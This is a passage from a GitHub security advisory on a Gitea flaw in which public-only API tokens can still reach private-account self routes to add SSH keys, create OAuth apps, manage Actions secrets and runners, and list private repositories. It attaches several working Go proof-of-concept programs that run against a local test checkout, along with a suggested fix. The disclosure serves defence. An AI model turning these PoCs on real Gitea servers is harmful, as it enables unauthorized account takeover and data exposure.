`6a2706626904` and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.\n\n```bash\ncd pocs\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go\n```\n\n## Reproduced Impact Examples\n\nUsing private fixture user `user31`, public-only tokens are rejected by `GET /api/v1/users/user31`, but tokens with the route-required scopes can still reach the self routes below.\n\nConfirmed with `public-only,write:user`:\n\n- add SSH keys through `/api/v1/user/keys`;\n- add account emails through `/api/v1/user/emails`;\n- create OAuth2 applications and receive `client_secret` through `/api/v1/user/applications/oauth2`;\n- create/delete user-level Actions secrets;\n- create/read/list/update/delete user-level Actions variables;\n- mint user-level runner registration tokens;\n- manage user-level runners;\n- create user webhooks.\n\nConfirmed with `public-only,read:user`:\n\n- read private self profile/settings and account email surfaces;\n- list OAuth2 applications and user webhooks;\n- list private repository workflow runs/jobs exposed through self Actions routes;\n- list private subscriptions, tracked times, stopwatches, and team memberships.\n\nConfirmed with `public-only` plus the route-required repository category:\n\n- create private repositories through `POST /api/v1/user/repos` with `public-only,write:user,write:repository`;\n- list those private repositories through `GET /api/v1/user/repos` with `public-only,read:user,read:repository`, while the canonical private repository endpoint remains forbidden.\n\n## Impact\n\nThe `public-only` token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.\n\nPractical abuse scenarios include:\n\n- a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;\n- a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;\n- a token limited to public resources creating and enumerating private repositories;\n- a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.\n\n## Suggested Fix\n\nApply public-only enforcement consistently to self routes under `/api/v1/user`.\n\nAt minimum:\n\n- for self routes, treat `ctx.Doer` as the target user/resource owner when enforcing `public-only`; mechanically adding `checkTokenPublicOnly()` is not sufficient unless `ctx.ContextUser` is set to `ctx.Doer` or the check explicitly handles self routes;\n- reject `ctx.PublicOnly` on credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations;\n- filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;\n- add regression coverage that compares each affected `/api/v1/user/...` route against the canonical private-user or private-repository endpoint.\n\nNon-public-only tokens should preserve current behavior.\n\n---\n\n## Attachment: `api_public_only_user_ssh_key_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n \"os/exec\"\n \"path/filepath\"\n \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n \"net/http\"\n \"testing\"\n\n asymkey_model \"code.gitea.io/gitea/models/asymkey\"\n auth_model \"code.gitea.io/gitea/models/auth\"\n \"code.gitea.io/gitea/models/unittest\"\n user_model \"code.gitea.io/gitea/models/user\"\n api \"code.gitea.io/gitea/modules/structs\"\n \"code.gitea.io/gitea/tests\"\n\n \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n privateUser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user31\"})\n require.True(t, privateUser.Visibility.IsPrivate())\n\n session := loginUser(t, privateUser.Name)\n publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n Title: \"public-only-private-key-bypass\",\n Key: \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment\",\n }).AddTokenAuth(publicOnlyWriteUserToken)\n resp := MakeRequest(t, req, http.StatusCreated)\n key := DecodeJSON(t, resp, \u0026api.PublicKey{})\n require.Equal(t, \"public-only-private-key-bypass\", key.Title)\n\n unittest.AssertExistsAndLoadBean(t, \u0026asymkey_model.PublicKey{\n ID: key.ID,\n OwnerID: privateUser.ID,\n Name: \"public-only-private-key-bypass\",\n })\n\n req = NewRequest(t, \"GET\", \"/api/v1/user/keys\").AddTokenAuth(publicOnlyWriteUserToken)\n resp = MakeRequest(t, req, http.StatusOK)\n keys := DecodeJSON(t, resp, []api.PublicKey{})\n found := false\n for _, k := range keys {\n if k.ID == key.ID {\n found = true\n break\n }\n }\n require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n candidates := []string{}\n if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n candidates = append(candidates, repo)\n }\n candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n for _, candidate := range candidates {\n if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/key.go\")); err == nil {\n return filepath.Clean(candidate)\n }\n }\n fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n os.Exit(2)\n return \"\"\n}\n\nfunc main() {\n repo := repoPath()\n testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go\")\n if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n os.Exit(2)\n }\n defer func() {\n if err := os.Remove(testPath); err != nil \u0026\u0026 !os.IsNotExist(err) {\n fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n }\n }()\n\n cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserSSHKeyBypass\", \"code.gitea.io/gitea/tests/integration\")\n cmd.Dir = repo\n cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n out, err := cmd.CombinedOutput()\n fmt.Printf(\"source=%s\\n\", repo)\n fmt.Print(string(out))\n if err != nil {\n fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n os.Exit(1)\n }\n fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys\")\n fmt.Println(\"reproduced: the same token can list that newly added key through /api/v1/user/keys\")\n fmt.Println(\"condition=private user issues a public-only,write:user token\")\n fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_oauth_app_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n \"os/exec\"\n \"path/filepath\"\n \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n \"net/http\"\n \"testing\"\n\n auth_model \"code.gitea.io/gitea/models/auth\"\n \"code.gitea.io/gitea/models/unittest\"\n user_model \"code.gitea.io/gitea/models/user\"\n api \"code.gitea.io/gitea/modules/structs\"\n \"code.gitea.io/gitea/tests\"\n\n \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n privateUser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user31\"})\n require.True(t, privateUser.Visibility.IsPrivate())\n\n session := loginUser(t, privateUser.Name)\n publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)\n\n MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)\n\n req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/applications/oauth2\", \u0026api.CreateOAuth2ApplicationOptions{\n Name: \"public-only-private-oauth-app\",\n RedirectURIs: []string{\"https://example.com/callback\"},\n ConfidentialClient: true,\n }).AddTokenAuth(publicOnlyWriteUserToken)\n resp := MakeRequest(t, req, http.StatusCreated)\n app := DecodeJSON(t, resp, \u0026api.OAuth2Application{})\n require.Equal(t, \"public-only-private-oauth-app\", app.Name)\n require.NotEmpty(t, app.ClientID)\n require.NotEmpty(t, app.ClientSecret)\n\n req = NewRequest(t, \"GET\", \"/api/v1/user/applications/oauth2\").AddTokenAuth(publicOnlyReadUserToken)\n resp = MakeRequest(t, req, http.StatusOK)\n apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})\n found := false\n for _, a := range apps {\n if a.ID == app.ID \u0026\u0026 a.Name == app.Name {\n found = true\n break\n }\n }\n require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n candidates := []string{}\n if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n candidates = append(candidates, repo)\n }\n candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n for _, candidate := range candidates {\n if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/app.go\")); err == nil {\n return filepath.Clean(candidate)\n }\n }\n fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n os.Exit(2)\n return \"\"\n}\n\nfunc main() {\n repo := repoPath()\n testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go\")\n if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n os.Exit(2)\n }\n defer func() {\n if err := os.Remove(testPath); err != nil \u0026\u0026 !os.IsNotExist(err) {\n fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n }\n }()\n\n cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserOAuthAppBypass\", \"code.gitea.io/gitea/tests/integration\")\n cmd.Dir = repo\n cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n out, err := cmd.CombinedOutput()\n fmt.Printf(\"source=%s\\n\", repo)\n fmt.Print(string(out))\n if err != nil {\n fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n os.Exit(1)\n }\n fmt.Println(\"reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint\")\n fmt.Println(\"reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret\")\n fmt.Println(\"reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2\")\n fmt.Println(\"condition=private user issues public-only tokens with route-required user scopes\")\n fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_repos_private_repo_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n \"os/exec\"\n \"path/filepath\"\n \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n \"net/http\"\n \"testing\"\n\n auth_model \"code.gitea.io/gitea/models/auth\"\n \"code.gitea.io/gitea/models/unittest\"\n user_model \"code.gitea.io/gitea/models/user\"\n api \"code.gitea.io/gitea/modules/structs\"\n \"code.gitea.io/gitea/tests\"\n\n \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserReposBypass(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n privateUser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user31\"})\n require.True(t, privateUser.Visibility.IsPrivate())\n\n session := loginUser(t, privateUser.Name)\n publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,\n auth_model.AccessTokenScopePublicOnly,\n auth_model.AccessTokenScopeReadUser,\n auth_model.AccessTokenScopeReadRepository,\n )\n publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,\n auth_model.AccessTokenScopePublicOnly,\n auth_model.AccessTokenScopeWriteUser,\n auth_model.AccessTokenScopeWriteRepository,\n )\n\n req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/repos\", \u0026api.CreateRepoOption{\n Name: \"public-only-private-repo\",\n Private: true,\n }).AddTokenAuth(publicOnlyWriteRepoToken)\n resp := MakeRequest(t, req, http.StatusCreated)\n created := DecodeJSON(t, resp, \u0026api.Repository{})\n require.Equal(t, \"user31/public-only-private-repo\", created.FullName)\n require.True(t, created.Private)\n\n MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/repos/user31/public-only-private-repo\").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)\n\n resp = MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/user/repos\").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)\n repos := DecodeJSON(t, resp, []api.Repository{})\n found := false\n for _, repo := range repos {\n if repo.FullName == \"user31/public-only-private-repo\" {\n found = true\n require.True(t, repo.Private)\n }\n }\n require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n candidates := []string{}\n if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n candidates = append(candidates, repo)\n }\n candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n for _, candidate := range candidates {\n if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/repo.go\")); err == nil {\n return filepath.Clean(candidate)\n }\n }\n fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n os.Exit(2)\n return \"\"\n}\n\nfunc main() {\n repo := repoPath()\n testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go\")\n if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n os.Exit(2)\n }\n defer func() {\n if err := os.Remove(testPath); err != nil \u0026\u0026 !os.IsNotExist(err) {\n fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n }\n }()\n\n cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserReposBypass\", \"code.gitea.io/gitea/tests/integration\")\n cmd.Dir = repo\n cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n out, err := cmd.CombinedOutput()\n fmt.Printf(\"source=%s\\n\", repo)\n fmt.Print(string(out))\n if err != nil {\n fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n os.Exit(1)\n }\n fmt.Println(\"reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos\")\n fmt.Println(\"reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo\")\n fmt.Println(\"reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos\")\n fmt.Println(\"condition=private user issues public-only tokens with route-required user and repository scopes\")\n fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n \"os/exec\"\n \"path/filepath\"\n \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n \"net/http\"\n \"testing\"\n\n auth_model \"code.gitea.io/gitea/models/auth\"\n \"code.gitea.io/gitea/models/unittest\"\n user_model \"code.gitea.io/gitea/models/user\"\n api \"code.gitea.io/gitea/modules/structs\"\n \"code.gitea.io/gitea/tests\"\n\n \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n privateUser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user31\"})\n require.True(t, privateUser.Visibility.IsPrivate())\n\n session := loginUser(t, privateUser.Name)\n publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n req := NewRequestWithJSON(t, \"PUT\", \"/api/v1/user/actions/secrets/PRIVATE_SECRET\", api.CreateOrUpdateSecretOption{\n Data: \"top-secret\",\n }).AddTokenAuth(publicOnlyWriteUserToken)\n MakeRequest(t, req, http.StatusCreated)\n\n req = NewRequestWithJSON(t, \"POST\", \"/api/v1/user/actions/variables/PRIVATE_VAR\", api.CreateVariableOption{\n Value: \"private-value\",\n Description: \"scoped through public-only token\",\n }).AddTokenAuth(publicOnlyWriteUserToken)\n MakeRequest(t, req, http.StatusCreated)\n\n req = NewRequest(t, \"GET\", \"/api/v1/user/actions/variables/PRIVATE_VAR\").AddTokenAuth(publicOnlyWriteUserToken)\n resp := MakeRequest(t, req, http.StatusOK)\n variable := DecodeJSON(t, resp, \u0026api.ActionVariable{})\n require.Equal(t, \"PRIVATE_VAR\", variable.Name)\n require.Equal(t, \"private-value\", variable.Data)\n\n req = NewRequest(t, \"GET\", \"/api/v1/user/actions/variables\").AddTokenAuth(publicOnlyWriteUserToken)\n resp = MakeRequest(t, req, http.StatusOK)\n variables := DecodeJSON(t, resp, []*api.ActionVariable{})\n found := false\n for _, v := range variables {\n if v.Name == \"PRIVATE_VAR\" \u0026\u0026 v.Data == \"private-value\" {\n found = true\n break\n }\n }\n require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n candidates := []string{}\n if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n candidates = append(candidates, repo)\n }\n candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n for _, candidate := range candidates {\n if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/action.go\")); err == nil {\n return filepath.Clean(candidate)\n }\n }\n fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n os.Exit(2)\n return \"\"\n}\n\nfunc main() {\n repo := repoPath()\n testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go\")\n if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n os.Exit(2)\n }\n defer func() {\n if err := os.Remove(testPath); err != nil \u0026\u0026 !os.IsNotExist(err) {\n fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n }\n }()\n\n cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserActionsSecretVariableBypass\", \"code.gitea.io/gitea/tests/integration\")\n cmd.Dir = repo\n cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n out, err := cmd.CombinedOutput()\n fmt.Printf(\"source=%s\\n\", repo)\n fmt.Print(string(out))\n if err != nil {\n fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n os.Exit(1)\n }\n fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account\")\n fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables\")\n fmt.Println(\"condition=private user issues a public-only,write:user token\")\n fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_runner_registration_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n \"os/exec\"\n \"path/filepath\"\n \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n \"net/http\"\n \"testing\"\n\n auth_model \"code.gitea.io/gitea/models/auth\"\n \"code.gitea.io/gitea/models/unittest\"\n user_model \"code.gitea.io/gitea/models/user\"\n \"code.gitea.io/gitea/tests\"\n\n \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n privateUser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user31\"})\n require.True(t, privateUser.Visibility.IsPrivate())\n\n session := loginUser(t, privateUser.Name)\n publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n resp := MakeRequest(t, NewRequest(t, \"POST\", \"/api/v1/user/actions/runners/registration-token\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)\n registrationToken := DecodeJSON(t, resp, \u0026map[string]string{})\n require.NotEmpty(t, (*registrationToken)[\"token\"])\n}\n`\n\nfunc repoPath() string {\n candidates := []string{}\n if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n candidates = append(candidates, repo)\n }\n candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n for _, candidate := range candidates {\n if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/runners.go\")); err == nil {\n return filepath.Clean(candidate)\n }\n }\n fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n os.Exit(2)\n return \"\"\n}\n\nfunc main() {\n repo := repoPath()\n testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go\")\n if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n os.Exit(2)\n }\n defer func() {\n if err := os.Remove(testPath); err != nil \u0026\u0026 !os.IsNotExist(err) {\n fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n }\n }()\n\n cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserRunnerRegistrationBypass\", \"code.gitea.io/gitea/tests/integration\")\n cmd.Dir = repo\n cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n out, err := cmd.CombinedOutput()\n fmt.Printf(\"source=%s\\n\", repo)\n fmt.Print(string(out))\n if err != nil {\n fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n os.Exit(1)\n }\n fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token\")\n fmt.Println(\"condition=private user issues a public-only,write:user token\")\n fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\")\n}\n\n```\n\n---\n\n## Version validation\n\nValidation date: 2026-05-13\n\nThe SSH-key write PoC was used as the representative dynamic test for the systemic `/api/v1/user` self-route public-only bypass.\n\n| Version | Commit | Result |\n|---|---:|---|\n| main | `6a2706626904` | reproduced dynamically |\n| v1.26.1 | `afdbd9b7c5` | reproduced dynamically |\n| v1.25.5 | `f913d90ab6` | reproduced dynamically |\n| v1.24.7 | `99053ce4fa` | reproduced dynamically |\n| v1.23.8 | `cccd54999a` | reproduced dynamically |\n| v1.22.6 | `8eefa1f6de` | reproduced dynamically with Go 1.22.12 test toolchain |\n\nThe representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.",
"id": "GHSA-wrr5-99h5-gq57",
"modified": "2026-06-17T18:09:41Z",
"published": "2026-06-17T18:09:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Public-only tokens bypass private-resource restrictions on `/api/v1/user` self routes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.